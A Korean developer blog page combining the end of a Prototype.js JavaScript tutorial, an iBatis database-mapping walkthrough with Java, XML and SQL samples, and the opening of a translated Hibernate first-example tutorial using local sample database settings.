    제어와는 관계없이 값을 얻는 기능은 대부분의 환경에서 좀더 쉽게 폼을 처리하도록 해준다. 여기에 이 함수를 사용할때 찾을수 있는 두가지 결점이 있다. 1) radio그룹의 선택된 값에 접근하는 쉬운 방법이 없다(하나의 radio요소의 값만 처리). 2) $()함수를 사용할때처럼 다중 ID를 전달하는 것이 불가능하다.

    *다른 함수인, Form.getElements() 는 타입에 관계없이 모든 폼 요소의 배열을 반환한다.

    allNodes = Form.getElements("myform");
    for(i = 0; i < allNodes.length; i++) {
        //do something to each form field
    }

    이 예제에서, 우리는 myform이라는 id를 가진 폼으로 부터 모든 요소를 가져온다. 만약 당신이 onclick을 추가하고 싶거나 각각의 폼필드에 도움말 팝업을 추가하기를 원한다면, 당신은 위와 같은 형식을 통해 할수 있다.

    우리가 볼 다음 메소드는 Form.serialize()이다. Ajax요청을 빌드할때, 당신은 데이터를 전달하기 위해 당신 자신만의 문자열을 포맷팅하기를 원한다. 폼이 서브밋되었을때, 문자열은 빌드되고, serialize()는 처리를 쉽게 만든다.

    allNodes = Form.serialize("myform");

    // returns field1=value1&field2=value2&field3=value3 and so on...

    우리를 돕기 위해 문자열을 빌드하라. 하지만 메소드를 좀더 좋게 만드는 것은 이것은 필드의 타입에 기초를 두지 않는 것이다. 우리는 이전에 $F()가 radio그룹에서 몇가지 문제점을 가지는 것을 봤다. 하지만 serialize()는 어떠한 필드 타입을 위해서도 값을 정확하게 처리한다. 사용가능한 폼 메소드만 있는 것은 아니다, 나머지것들을 보기 위해서는 Sergio의 문서 를 보라.

    getElementsByClassName

    getElementsByClassName()가 아직도 자바스크립트로 빌드되지 않은 이유는 뭔가.? 이것은 프로토타입이 아니고 그래서 프로토타입은 문서객체의 확장처럼 저장소(arsenal)로 이것을 추가했다. 이것은 document.getElementsByTagName()처럼 정확하게 작동한다. 단지 차이점은 className을 체크하는 것이다.

    allNodes = document.getElementsByClassName("red");
    for(i = 0; i < allNodes.length; i++) {
        alert(allNodes[i].innerHTML);
    }

    반환되는 배열은 주어진 className과 일치하는 모든 요소를 포함한다. 이것은 다중 className을 가진 요소들과도 잘 작동한다. getElementsByClassName()는 도처에서 모든 프로젝트에서 사용되는 함수가 되었다. 주로 DOM이벤트에 붙기 때문에 나는 모든 개발자가 이것을 사용하도록 제안한다.

    요소 헬퍼(Element Helper) 함수

    요소객체는 공통적으로 DOM조작을 돕는 많은 수의 헬퍼 함수를 제공한다. 몇몇 이러한 함수는 하나의 호출에 10줄 이상의 코드를 단순화하는동안 어떤 새로운 것도 생성하지 않는다. 그럼 몇몇 예제를 보자.

    헬퍼 없이 요소의 높이를 가져오자.

    $("first").offsetHeight

    그리고 지금은 헬퍼를 사용하는 경우이다.

    Element.getHeight("first")

    이 경우, 헬퍼는 어떠한 잇점도 제공하지 않는다. 지금 우리가 요소로부터 className을 제거하길 원하는가.? 이것은 (Prototype.js소스코드로 부터 얻어진) 다소 긴 방법이다.

    element = $(element);
    if (!element)
        return;
    var newClassName = '';
    var a = element.className.split(' ');
    for (var i = 0; i < a.length; i++) {
        if (a[i] != className) {
            if (i > 0)
                newClassName += ' ';
            newClassName += a[i];
        }
    }
    element.className = newClassName;

    그리고 지금은 헬퍼 함수를 사용하는 경우이다.

    Element.removeClassName("elementID", "red");

    멋진가.? 첫번째 예제와는 달리, 대부분의 헬퍼 함수는 공통적인 작업을 쉽게 수행하여 시간과 수고를 아낀다. 그리고 일관성을 위해, 이것은 프로젝트 도처에 Element문법을 사용하는 것이 가장 좋은 방법이 될것이다. 헬퍼 함수의 전체 목록과 그것들을 사용하는 방법을 보기 위해서, Sergio의 프로토타입 문서를 보라.

    Try.these 함수

    Try.these()는 다른 자바스크립트 구현물과 관계없이 브라우저를 종속되지 않고 작동하는 코드를 생성하도록 개발자를 도와주기 위한 멋진 함수이다. 객체와 브라우저 인식의 자신만의 방법대신에, 이 함수는 에러를 발생할때까지 코드의 하나의 경로를 수행하도록 시도하고 다음 경로로 교체한다.

    return Try.these(
        function() {
            alert("first");
            jkgjhgjhg        //intentional error
            alert("firsterror");
            return 1;
        },
        function() {
            alert("second");
            return 2;
        }
    );

    위 예제에서, 첫번째 경로는 내부 에러발생시 수행을 멈출것이다. 이것을 알라. 모든것은 에러가 발생되지 전에 수행되어야 하기 때문에 이것은 우리의 코드가 신중하도록 하기 위해 중요하다. 우리는 코드가 두번 수행되지 않도록 주의해야만 한다. 전체적으로, Try.these()는 우리가 종종 사용하는 함수일뿐 아니라, 이것이 존재하고 어떻게 사용해야 하는지 아는것은 멋진 일이다.

    Ajax 지원

    이 라이브러리에서 Ajax지원 함수는 부족하지 않다. 그리고 나는 Prototype.js의 도움으로 Ajax애플리케이션을 생성하는 방법을 보여줄것이다. 문서로부터 우리는 다음처럼 일반적인 Ajax요청을 볼수 있다.

    var myAjax = new Ajax.Request(
        url,
        {method: 'post', parameters: data, onComplete: ajax_response}
    );

    메소드가 post이거나 get인 지점에서, 파라미터는 이름/값 형태의 문자열이고, onComplete은 모든것이 종료되었을때 호출되어야 하는 함수이다. 핵심기능을 이해했을때, 라이브러리를 도구화하는 자신만의 함수를 생성하여 반복적인 Ajax호출을 만드는 것이 쉽다. 먼저, Ajax요청을 처리하는 간단한 함수이다.

    function ajax_request(url, data) {
        var myAjax = new Ajax.Request(
            url,
            {method: 'post', parameters: data, onComplete: ajax_response}
        );
    }

    요청이 종료된후, 이것을 ajax_response()로 보낸다.

    function ajax_response(originalRequest) {
        if(!bHasRedirect) {
            //process originalRequest.responseText;
        }
        else {
            bHasRedirect = false;
            ajax_request(originalRequest.responseText, "");
        }
    }

    당신이 Ajax요청을 만든후, 응답은 언제나 ajax-response()로 보내진다. 여기서 다른 Ajax요청은 bHasRedirect(전역변수)가 true로 셋팅된 경우에만 만들어질것이고 true가 아니라면 아마 코드는 함수와 originalRequest.responseText()의 전역 배열에 기반하여 수행될것이다.

    PeriodicalExecuter

    PeriodicalExecuter객체가 초기화되면, 이것은 주어진 기간에 특정 함수를 반복적으로 호출한다. 이것은 당신이 사이트의 Ajax부분을 자동으로 수정하길 바랄때 유용할것이다.

    function periodicalUpdate() {
        new PeriodicalExecuter(refreshNews, 10);
    }

    function refreshNews() {
        //Ajax code to grab news and update DOM
    }

    PeriodicalExecuter 생성자는 첫번째 파라미터처럼 호출하기 위한 함수를 예상한다. 그리고 이것은 시간간격(초단위)이다. 비록 공통적인 setInterval()가 밀리세컨드를 다루지만 시간을 혼동하지 말라. 하지만 이 함수에서 우리는 초 단위로 다룬다. 예제는 Ajax가 복잡하다고 가정하지만, 이것은 어떤 이유로 페이지를 수정할수 있다. Prototype.js는 또한 Ajax를 다룰때 쉽게 처리할수 있는 Ajax.PeriodicalUpdater클래스를 가진다.

    추가적인 고급기능.

    우리가 Prototype.js가 제공하는 모든 함수와 메소드를 다룰수는 없지만, 이것은 여기서 다룰수 없는 것중에 몇몇을 강조해두는 것은 중요하다고 볼수 있다.

    감독(observe) - 이 메소드 함수는 addEvent()와 비슷하고, DOM에 이벤트를 붙이기 위해 사용된다.

    사용자 상호작용(User Interaction) - 당신은 사용자를 처리하는 key가 무엇을 만드는지 알기 위해 KEY_TAB와 같은 전역값내 빌드된것을 찾을수 있다. 추가적으로, 당신은 마우스를 클릭할때 위치를 찾을수 있다.

    클래스 생성(Class Creation) - Prototype.js가 제공하는 것이 무엇인지 왜 멈추는가.? 같은 문법과 함수를 사용하여, 우리는 일관성을 유지하기 위해 자신만의 클래스를 빌드할수 있다. 생성자와 추가적인 메소드를 추가하는 것은 결코 쉽지 않다. 이것을 포장하기 위해 문서에서 Class.create() 를 보라.

    당신이 저자를 알지못하고 무엇인가 발생한것을 제대로 이해하지 못할때 일반적인 코드/라이브러리를 사용하는 것을 받아들일수 있는가.? 당신이 코드를 테스트하고 사람/커뮤니티를 신뢰하는 만큼 나의 대답은 예이다. Prototype.js의 경우, 신뢰는 두개의 소스로부터 빌드된다. 먼저, Ruby on Rails 은 프로토타입 지원과 통합되었다. Ruby on Rails이 훌륭한 개발 기본이 된 이후로, 많은 버그가 발견되었고 Prototype.js가 좀더 안정화되도록 많은 문제가 해결되었다. 두번째, 개발자는 Ruby on Rails의 creator 를 고용하는 37시그널에서 근무한다. 나는 회사의 개발 환경을 신뢰할 뿐 아니라, Prototype.js가 테스트가 지속되고 지속적으로 발전하리라고 생각한다. 주어진 것으로 나의 프로젝트를 테스트하고, 나는 나의 모든 프로젝트에 이 라이브러리를 자신있게 사용한다.

    Prototype.js는 이 튜토리얼에서 목록화된 것보다 두배 이상의 함수를 가지고 명백히 체크아웃할 가치가 있다. 만약 당신이 파일 사이즈(약 30K)가 꺼려진다면, 당신이 사용하지 않는 클래스는 뺄수 있고 사용자에게 제공하기 전에 PHP와 함께 자바스크립트 파일을 압축할수 있다는 것을 기억하라. 또한 당신이 약간의 메소드를 사용했다면 나머지는 배우기 쉽다. 그래서 배우는 과정은 매우 간단하다. 기본적으로 이것을 시도하기 위한 핑계거리는 없다. 위에서 본 예제는 Particletree에서 이것들을 다룬 방법이고 테스트없이 사용된 것은 없다. 기억하라. 이것은 Prototype.js에 대한 소개이고 그래서 비공식적인 프로토타입 문서를 참조하고 신뢰해야 하며 다양한 메소드를 찾는 어려운 작업을 위해 script.aculo.us 문서 위키 wiki를 보라. 언제나 처럼, 당신이 실수나 가능한 개선사항이 있다면, 우리에게 알려달라.

    Posted by 1010
    54.iBATIS, MyBatis/iBatis2008. 7. 25. 16:04
    반응형

    <JDBC 연결을 위한 DB서버 정보 세팅>

    database.propertis

    #ORACLE 10g  DB server관련 드라이버,URL,계정,비밀번호 세팅
    db_driver=oracle.jdbc.driver.OracleDriver
    db_url=jdbc:oracle:thin:@localhost:1521:XE
    db_usernm=scott
    db_pw=tiger

    앞의 프러퍼티 이름은 임의로 정해주면 된다.


    ORM을 위한 POJO 객체를 생성한다.

    Member.java

    //POJO
    package com;

    import java.io.Serializable;

    public class Member implements Serializable {
     private String id;
     private String pw;
     private String nm;
     public String getId() {
      return id;
     }
     public void setId(String id) {
      this.id = id;
     }
     public String getNm() {
      return nm;
     }
     public void setNm(String nm) {
      this.nm = nm;
     }
     public String getPw() {
      return pw;
     }
     public void setPw(String pw) {
      this.pw = pw;
     }
    }

    테이블과 연관하기 위한 정보및 쿼리를 작성한다.

    Member.xml

    <?xml version="1.0" encoding="EUC-KR" standalone="no"?>
    <!DOCTYPE sqlMap          
                                    PUBLIC "-//ibatis.apache.org//DTD SQL Map 2.0//EN"          
                                    "http://ibatis.apache.org/dtd/sql-map-2.dtd">
    <sqlMap namespace="Member">
     <!--
      Member
     -->
     <typeAlias alias="member" type="com.Member" /><!-- pojo클래스 별칭주기 -->

     <resultMap id="getMemberAll" class="member"><!-- 클래스 프러퍼티와 디비 컬럼맵핑 -->
      <result property="id" column="id" />
      <result property="pw" column="pw" />
      <result property="nm" column="nm" />
     </resultMap>

     <select id="getMemberAll" resultMap="getMemberAll">
      SELECT id, pw, nm FROM MEMBER
     </select>
     
     <select id="getMember" resultMap="getMemberAll">
      SELECT id, pw, nm FROM MEMBER

      WHERE ID=#id#
     </select>

     <insert id="insertMember" parameterClass="member">
      INSERT INTO MEMBER (id, pw, nm) VALUES (#id#, #pw#, #nm#)
     </insert>

     <update id="updateMember" parameterClass="member">
      UPDATE MEMBER SET pw = #pw#, nm = #nm#

      WHERE ID = #id#
     </update>

     <delete id="deleteMember" parameterClass="member">
      DELETE FROM MEMBER WHERE ID = #id#
     </delete>

    </sqlMap>

    PreparedStatement에서 동적으로 값을 할당하기 위해 ?를 사용 하듯이

    #id#처럼 동적으로 값이 할당 되는 부분을 정한다.


    SqlMapClientManager.xml

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE sqlMapConfig 
                                    PUBLIC "-//ibatis.apache.org//DTD SQL Map Config 2.0//EN"
                                    "http://ibatis.apache.org/dtd/sql-map-config-2.dtd">
    <sqlMapConfig>
            <properties resource="com/database.properties" /><!-- 디비 정보 프러퍼티  세팅 -->
            <settings cacheModelsEnabled="false"
                      useStatementNamespaces="true"
            />

            <transactionManager type="JDBC"> <!--  프러퍼티 값을 세팅-->
                    <dataSource type="SIMPLE">
                        <property name ="JDBC.Driver" value="${db_driver}"/>
                        <property name ="JDBC.ConnectionURL" value="${db_url}"/>
                <property name ="JDBC.Username" value="${db_usernm}"/>
                <property name ="JDBC.Password" value="${db_pw}"/>
                    </dataSource>
            </transactionManager>

            <sqlMap resource="com/Member.xml" /> <!-- pojo, 테이블을 맵핑한 xml들 -->
    </sqlMapConfig>
    프러퍼티에 세팅한 정보를 가져와 JDBC관련 세팅을 하고,

    pojo와 연관시킨 xml를 읽어 들인다.


    SqlMapClientManager.java

    package com;
    import java.io.Reader;

    import com.ibatis.common.resources.Resources;
    import com.ibatis.sqlmap.client.SqlMapClient;
    import com.ibatis.sqlmap.client.SqlMapClientBuilder;
    /**
    *
    * @author Administrator
    *
    */
    public class SqlMapClientManager {
           
            private static final SqlMapClient sqlMap;

            static {
                    try {
                            String resource = "com/SqlMapClientManager.xml";
                            Reader reader = Resources.getResourceAsReader(resource);
                            sqlMap = SqlMapClientBuilder.buildSqlMapClient(reader);
                           
                    } catch (Exception e) {
                            e.printStackTrace();
                            throw new RuntimeException(e);
                    }
            }
           
            private SqlMapClientManager(){}
           
            public static SqlMapClient getSqlMapClient() {
                    return sqlMap;  
            }

    }

    SqlMapClientManager.xml 파일을 읽어 들여 SqlMapClient 인스턴스를 생성한다.


    MemberDAO.java

    package com;

    import java.sql.SQLException;
    import java.util.Iterator;
    import java.util.List;

    import com.ibatis.sqlmap.client.SqlMapClient;

    public class MemberDAO {

     private static SqlMapClient sqlMap = SqlMapClientManager.getSqlMapClient();
     public List listAll(){//모든 회원 조회

      Member paramMember = new Member();
      Member returnMember = new Member();

      List list=null;
      try {
       list = sqlMap.queryForList("Member.getMemberAll", paramMember);
      } catch (SQLException e) {
       // TODO Auto-generated catch block
       e.printStackTrace();
      }

      return list;

     }

     public Member getMember(Member member){  //회원 정보 조회

      Member paramMember = member;
      Member returnMember = new Member();

      try {
       member = (Member) sqlMap.queryForObject("Member.getMember", paramMember);
      } catch (SQLException e) {
       // TODO Auto-generated catch block
       e.printStackTrace();
      }
      return member;
     }


     public void insert(Member member){ //회원 등록

      Member paramMember = member;
      System.out.println("insert Member");
      System.out.println(member.getId());
      System.out.println(member.getNm());
      System.out.println(member.getPw());
      try {
       sqlMap.insert("Member.insertMember",paramMember);
      } catch (SQLException e) {
       // TODO Auto-generated catch block
       e.printStackTrace();
      }

     }
     public void update(Member member){
      // 사용자 수정
      Member paramMember = member;

      try {
       sqlMap.update("Member.updateMember",paramMember);
      } catch (SQLException e) {
       // TODO Auto-generated catch block
       e.printStackTrace();
      }
     }

     public void delete(Member member){
      // 사용자 삭제
      Member paramMember = member;
      try {
       sqlMap.update("Member.deleteMember",paramMember);
      } catch (SQLException e) {
       // TODO Auto-generated catch block
       e.printStackTrace();
      }

     }
    }

    sqlMapClient 인스턴스를 통해 MEMBER테이블에 접근하기 위한 API제공

    Posted by 1010
    54.iBATIS, MyBatis/iBatis2008. 7. 25. 16:03
    반응형

    Hibernate 첫 번째 예제 - 튜토리얼

                                      원문 : http://www.laliluna.de/first-hibernate-example-tutorial.html

                                      역자 : 김종대(jdkim528@korea.com)

    이 튜토리얼은 Hibernate를 사용하는 간단한 예제를 보여준다. 우리는 Hibernate가 어떻게 동작하는지를 보여주는 간단한 자바 어플리케이션을 생성시킬 것이다.

    (광고 생략...)

    개괄

    저자: Sebastian Hennebrueder

    날짜: December, 19th 2005

    사용된 소프트웨어와 프레임워크

    Eclipse 3.x

    MyEclipse 4.x가 권장되지만 선택사항임

    Hibernate 3.x (3.1을 사용함)

    소스 코드: http://www.laliluna.de/download/first-hibernate-example-tutorial.zip

    소스들은 라이브러리들을 포함하지 않는다. hibernate.org에서 라이브러리들과 당신의 데이터베이스 드라이버를 내려 받고 그것들을 아래에 설명되어 있는 프로젝트에 추가한다. 예제는 당신의 데이터베이스 설정들과 동작하도록 구성되어야 한다! 튜토리얼을 읽기 바란다.

     

    튜토리얼의 PDF 버전:  http://www.laliluna.de/download/first-hibernate-example-tutorial-en.pdf

    Hibernate2용 이전 PDF 버전:  http://www.laliluna.de/download/first-hibernate-2-example-tutorial-en.pdf

    짧은 개요

    Hibernate는 객체 관계형 매핑을 위한 솔루션이고 영속 관리 솔루션 또는 영속 계층이다. 이것은 아마 Hibernate를 배우는 아무나 이해 가능한 것은 아니다.

    당신이 생각할 수 있는 것은 아마 당신이 당신의 어플리케이션에 몇몇 기능들(비지니스 로직)을 갖도록 하고 데이터베이스 내에 데이터를 저장하고 싶어하는 것이다. 당신이 자바를 사용할 때 모든 비지니스 로직은 통상적으로 다른 클래스 타입들인 객체들과 동작한다. 당신의 데이터베이스 테이블들은 전혀 객체들이 아니다.

    Hibernate는 데이터베이스 테이블들을 어떤 클래스로 매핑시키는 솔루션을 제공한다. 그것은 데이터베이스 데이터를 어떤 클래스로 복사한다. 반대 방향으로 그것은 객체들을 데이터베이스에 저장하는 것을 지원한다. 이 과정에서 객체는 하나 이상의 테이블들로 전환된다.

    저장소에 데이터를 저장시키는 것은 영속이라 명명된다. 그리고 테이블들을 객체들에 복사하는 것 등등은 객체 관계형 매핑이라 명명된다.

    Java 프로젝트를 생성한다

    Eclipse를 사용하여 새로운 프로젝트를 생성시키기 위해 Ctrl+n (Strg+n) 키를 누른다. Java 프로젝트를 선택한다. 우리는 그것을 FirstHibernateExample라 명명할 것이다.
     

    MyEclipse를 사용하여 Hibernate용 프로젝트를 준비한다

    MyEclipse를 사용하고 있다면, 패키지 탐색기 내에서 당신의 프로젝트 상을 마우스 오른쪽 버튼 클릭하고 Add Hibernate capabilities.를 선택한다.




     

    마법사를 계속하고 src 디렉토리 내에 새로운 hibernate.cfg.xml 을 생성시킨다.

    마지막 단계에서 당신은 Hibernate SessionFactory를 생성시킬 수 있다. 나는 내 자신의 것을 생성 시키는 것을 선호한다. 당신은 아래에서 그것을 찾을 수 있다.

    Hibernate용 프로젝트를 준비한다

    당신이 MyEclipse를 사용하고 있지 않을 때 http://www.hibernate.org/ 웹 사이트로부터 Hibernate를 내려 받아라.

    파일을 추출한다. Hibernate는 많은 라이브러리들의 목록으로 구성되어 있다. 당신은 그것들 모두를 필요로 하지 않는다. lib 디렉토리 내에 필수적인 것을 설명하고 있는 README 파일이 존재한다. 당신의 프로젝트 properties를 열고, “Java Build Path”를 선택하고, “Add External Jars”을 클릭하고 아래에 보이는 라이브러리들을 당신의 프로젝트 경로에 추가한다.

     



     

    SessionFactory를 생성시킨다

    세션 팩토리는 Hibernate에서 중요하다. 그것은 단위 쓰레드 당 오직 한 개의 세션 인스턴스만이 사용됨을 보증하는 설계 패턴을 구현하고 있다. 당신은 단지 이 팩토리로부터 당신의 Hibernate 세션을 얻을 것이다.

    de.laliluna.hibernate 패키지 내에 HibernateSessionFactory로 명명된 클래스를 생성시키고 아래의 소스 코드를 추가한다.

    /**
     * 
     * @author Sebastian Hennebrueder
     * created Feb 22, 2006
     * copyright 2006 by http://www.laliluna.de
     */
    package de.laliluna.hibernate;
    
    import javax.naming.InitialContext;
    
    import org.apache.log4j.Logger;
    import org.hibernate.HibernateException;
    import org.hibernate.Session;
    import org.hibernate.SessionFactory;
    import org.hibernate.cfg.Configuration;
    import org.hibernate.cfg.Environment;
    
    /**
     * @author hennebrueder 이 클래스는 오직 한 개의 SessionFactory 만이 초기화 되고
     *         컨피그레이션이 싱글톤으로 쓰레드 안전하게 행해진다는 점을 보증한다.
     *         실제로 그것은 단지 Hibernate SessionFactory를 포장한다.
     *         JNDI 이름이 구성될 때 세션은 JNDI에 바인드 되고, 
     *         그 밖의 경우 그것은 오직 로컬 상으로 저장된다.
     *         당신은 임의의 종류의 JTA 또는 Thread transactionFactory들을 사용하는 것이 자유롭다. 
     */
    public class InitSessionFactory {
    
    	/**
    	 * Default constructor.
    	 */
    	private InitSessionFactory() {
    	}
    
    	/**
    	 * hibernate.cfg.xml 파일의 위치. 주의: 위치는 Hibernate가 사용하는 classpath 상에 있어야 한다
    	 * #resourceAsStream 스타일은 그것의 구성 컨피그레이션 파일을 검색한다.
    	 * 그것은 Java 패키지 내에 있는 config 파일에 위치된다 - 
    	 * 디폴트 위치는 디폴트 Java 패키지이다.<br>
    	 * <br>
    	 * 예제: <br>
    	 * <code>CONFIG_FILE_LOCATION = "/hibernate.conf.xml". 
    	 * CONFIG_FILE_LOCATION = "/com/foo/bar/myhiberstuff.conf.xml".</code>
    	 */
    	private static String CONFIG_FILE_LOCATION = "/hibernate.cfg.xml";
    
    	/** hibernate 컨피그레이션의 싱글톤 인스턴스 */
    	private static final Configuration cfg = new Configuration();
    
    	/** hibernate SessionFactory의 싱글톤 인스턴스 */
    	private static org.hibernate.SessionFactory sessionFactory;
    
    	/**
    	 * 아직 초기화 되지 않았다면 컨피그레이션을 초기화 시키고 현재 인스턴스를 반환한다
    	 * 현재 인스턴스를 반환한다
    	 * 
    	 * @return
    	 */
    	public static SessionFactory getInstance() {
    		if (sessionFactory == null)
    			initSessionFactory();
    		return sessionFactory;
    	}
    
    	/**
    	 * ThreadLocal Session 인스턴스를 반환한다. 필요하다면 Lazy는 
    	 * <code>SessionFactory</code>를 초기화 시킨다.
    	 * 
    	 * @return Session
    	 * @throws HibernateException
    	 */
    	public Session openSession() {
    		return sessionFactory.getCurrentSession();
    	}
    
    	/**
    	 * 이 메소드의 행위는 당신이 구성했던 세션 컨텍스트에 의존한다.
    	 * 이 팩토리는  다음 프로퍼티 is intended to be used with a hibernate.cfg.xml
    	 * <property name="current_session_context_class">thread</property>를 
    	 * 포함하는 hibernate.cfg.xml과 함께 사용되게 기안되어 있다. 이것은 
    	 * 현재의 열려진 세션을 반환할 것이거나 존재하지 않을 경우 새로운 세션을 생성시킬 것이다
    	 * 
    	 * @return
    	 */
    	public Session getCurrentSession() {
    		return sessionFactory.getCurrentSession();
    	}
    
    	/**
    	 * 심지어 하나 이상의 쓰레드가 sessionFactory를 빌드하려고 시도하는 경우조차도 
    	 * 안전한 방법으로 sessionFactory를 초기화 시킨다
    	 */
    	private static synchronized void initSessionFactory() {
    		/*
    		 * [laliluna] 다시 null을 체크한다 왜냐하면 sessionFactory가 마지막 체크와 현재의 체크 사이에
    		 * 초기화 되었을 수도 있기 때문이다
    		 * 
    		 */
    		Logger log = Logger.getLogger(InitSessionFactory.class);
    		if (sessionFactory == null) {
     
    
    			try {
    				cfg.configure(CONFIG_FILE_LOCATION);
    				String sessionFactoryJndiName = cfg
    				.getProperty(Environment.SESSION_FACTORY_NAME);
    				if (sessionFactoryJndiName != null) {
    					cfg.buildSessionFactory();
    					log.debug("get a jndi session factory");
    					sessionFactory = (SessionFactory) (new InitialContext())
    							.lookup(sessionFactoryJndiName);
    				} else{
    					log.debug("classic factory");
    					sessionFactory = cfg.buildSessionFactory();
    				}
    
    			} catch (Exception e) {
    				System.err
    						.println("%%%% Error Creating HibernateSessionFactory %%%%");
    				e.printStackTrace();
    				throw new HibernateException(
    						"Could not initialize the Hibernate configuration");
    			}
    		}
    	}
     
    	public static void close(){
    		if (sessionFactory != null)
    			sessionFactory.close();
    		sessionFactory = null;
     
    	}
    }


     

    Log4J 구성하기

    당신이 위에서 보았듯이 우리는 log4j 라이브러리를 추가시켰다. 이 라이브러리는 소스 디렉토리 내에 컨피그레이션 파일처럼 행하거나 다음 오류로서 당신을 맞이한다.

    log4j:WARN No appenders could be found for logger (TestClient).
    log4j:WARN Please initialize the log4j system properly.

    루트 디렉토리에 log4j.properties로 명명된 파일을 생성시키고 다음을 삽입시킨다:

    ### direct log messages to stdout ###
    log4j.appender.stdout=org.apache.log4j.ConsoleAppender
    log4j.appender.stdout.Target=System.out
    log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
    log4j.appender.stdout.layout.ConversionPattern=%d{ABSOLUTE} %5p %c{1}:%L - %m%n
    
    ### set log levels - for more verbose logging change 'info' to 'debug' ###
    
    log4j.rootLogger=debug, stdout
    
    log4j.logger.org.hibernate=info
    #log4j.logger.org.hibernate=debug
    
    ### log HQL query parser activity
    #log4j.logger.org.hibernate.hql.ast.AST=debug
    
    ### log just the SQL
    log4j.logger.org.hibernate.SQL=debug
    
    ### log JDBC bind parameters ###
    log4j.logger.org.hibernate.type=info
    
    ### log schema export/update ###
    log4j.logger.org.hibernate.tool.hbm2ddl=info
    
    ### log HQL parse trees
    #log4j.logger.org.hibernate.hql=debug
    
    ### log cache activity ###
    log4j.logger.org.hibernate.cache=info
    
    ### log transaction activity
    #log4j.logger.org.hibernate.transaction=debug
    
    ### log JDBC resource acquisition
    #log4j.logger.org.hibernate.jdbc=debug
    
    ### enable the following line if you want to track down connection ###
    ### leakages when using DriverManagerConnectionProvider ###
    #log4j.logger.org.hibernate.connection.DriverManagerConnectionProvider=trace

    데이터베이스 드라이버를 추가한다

    Hibernate는 데이터베이스에 접근할 데이터베이스 드라이버를 필요로 한다. 프로젝트 properties를 열고, “Java Build Path”를 클릭하고, “Add External Jars”를 선택하고 당신의 데이터베이스 드라이버를 추가한다. 당신이 PostgreSQL를 사용할 때 당신은  http://jdbc.postgresql.org에서 당신의 데이터베이스 드라이버를 찾을 수 있고 MySQL을 사용하고 있다면 이곳 http://www.mysql.de/products/connector/j에서 찾을 수 있다.

    데이터베이스와 테이블드을 생성시킨다.

    Create a database with MySql 또는 PostgreSQL 또는 당신이 좋아하는 DBMS에 데이터베이스를 생성시킨다. 그것을 “firsthibernate”로 명명한다.

    PostgreSql을 사용한다면 테이블을 생성시키기 위해 다음 스크립트를 사용하라:

    CREATE TABLE "public"."honey" (
      id SERIAL, 
      name text, 
      taste text, 
      PRIMARY KEY(id)
    );


     

    MySql을 사용하고 있다면 다음 스크립트를 사용하라:

    CREATE TABLE `honey` (
      `id` int(11) NOT NULL auto_increment,
      `name` varchar(250) default NULL,
      `taste` varchar(250) default NULL,
      PRIMARY KEY  (`id`)
    ) ENGINE=MyISAM DEFAULT CHARSET=latin1

    클래스를 생성시킨다

    Create a new class named “Honey” in the package “de.laliluna.example”. Add three fields id, name and taste and generate (Context menu -> Source -> Generate Getter and Setter) or type the getters and setters for the fields. Then create an empty constructor.

    package de.laliluna.example;
    
    /**
     * @author laliluna
     *
     */
    public class Honey {
    	private Integer id;
    	private String name;
    	private String taste;
     
    	public Honey(){
     
    	}
     
    	/**
    	 * @return Returns the id.
    	 */
    	public Integer getId() {
    		return id;
    	}
    	/**
    	 * @param id The id to set.
    	 */
    	public void setId(Integer id) {
    		this.id = id;
    	}
    	/**
    	 * @return Returns the name.
    	 */
    	public String getName() {
    		return name;
    	}
    	/**
    	 * @param name The name to set.
    	 */
    	public void setName(String name) {
    		this.name = name;
    	}
    	/**
    	 * @return Returns the taste.
    	 */
    	public String getTaste() {
    		return taste;
    	}
    	/**
    	 * @param taste The taste to set.
    	 */
    	public void setTaste(String taste) {
    		this.taste = taste;
    	}
    }



     

    매핑 파일들을 생성시킨다

    이미 생성되어 있지 않다면 루트 디렉토리에 “hibernate.cfg.xml”로 명명된 새로운 파일을 생성시킨다.

    hibernate 파일 내에 다음을 추가한다. 당신의 데이터베이스 구성에 적합하게 username과 password를 변경하는 것을 잊지 말라.

    PostgreSQL 버전:

    <?xml version='1.0' encoding='UTF-8'?>
    <!DOCTYPE hibernate-configuration PUBLIC
              "-//Hibernate/Hibernate Configuration DTD 3.0//EN"
              "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
    <hibernate-configuration>
    <session-factory>
    	<property name="connection.url">jdbc:postgresql://localhost/firsthibernate</property>
    	<property name="connection.username">postgres</property>
    	<property name="connection.driver_class">org.postgresql.Driver</property>
    	<property name="dialect">org.hibernate.dialect.PostgreSQLDialect</property>
    	<property name="connection.password">p</property>
     <property name="transaction.factory_class">org.hibernate.transaction.JDBCTransactionFactory</property>
        <!--  thread is the short name for
          org.hibernate.context.ThreadLocalSessionContext
          and let Hibernate bind the session automatically to the thread
        -->
        <property name="current_session_context_class">thread</property>
        <!-- this will show us all sql statements -->
        <property name="hibernate.show_sql">true</property>
    	<!-- mapping files -->
    	<mapping resource="de/laliluna/example/Honey.hbm.xml" />
    </session-factory>
    </hibernate-configuration>


     

    MySQL 버전:


     

    <?xml version='1.0' encoding='UTF-8'?>
    <!DOCTYPE hibernate-configuration PUBLIC
              "-//Hibernate/Hibernate Configuration DTD 3.0//EN"
              "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
    <hibernate-configuration>
    <session-factory>
    	<property name="connection.url">jdbc:mysql://localhost/firsthibernate</property>
    	<property name="connection.username">root</property>
    	<property name="connection.driver_class">com.mysql.jdbc.Driver</property>
    	<property name="dialect">org.hibernate.dialect.MySQLDialect</property>
    	<property name="connection.password">r</property>
     <property name="transaction.factory_class">org.hibernate.transaction.JDBCTransactionFactory</property>
        <!--  thread is the short name for
          org.hibernate.context.ThreadLocalSessionContext
          and let Hibernate bind the session automatically to the thread
        -->
        <property name="current_session_context_class">thread</property>
        <!-- this will show us all sql statements -->
        <property name="hibernate.show_sql">true</property>
     
    	<!-- mapping files -->
    	<mapping resource="de/laliluna/example/Honey.hbm.xml" />
    
    </session-factory>
    </hibernate-configuration>


     

    이 파일은 데이터베이스에 대한 구성 우리의 경우에는 PostgreSQL 데이터베이스의 구성 그리고 모든 매핑 파일들을 포함한다. 우리의 경우 그것은 단지 파일 Honey.hbm.xml이다. 

    <property name="dialect">org.hibernate.dialect.PostgreSQLDialect</property>

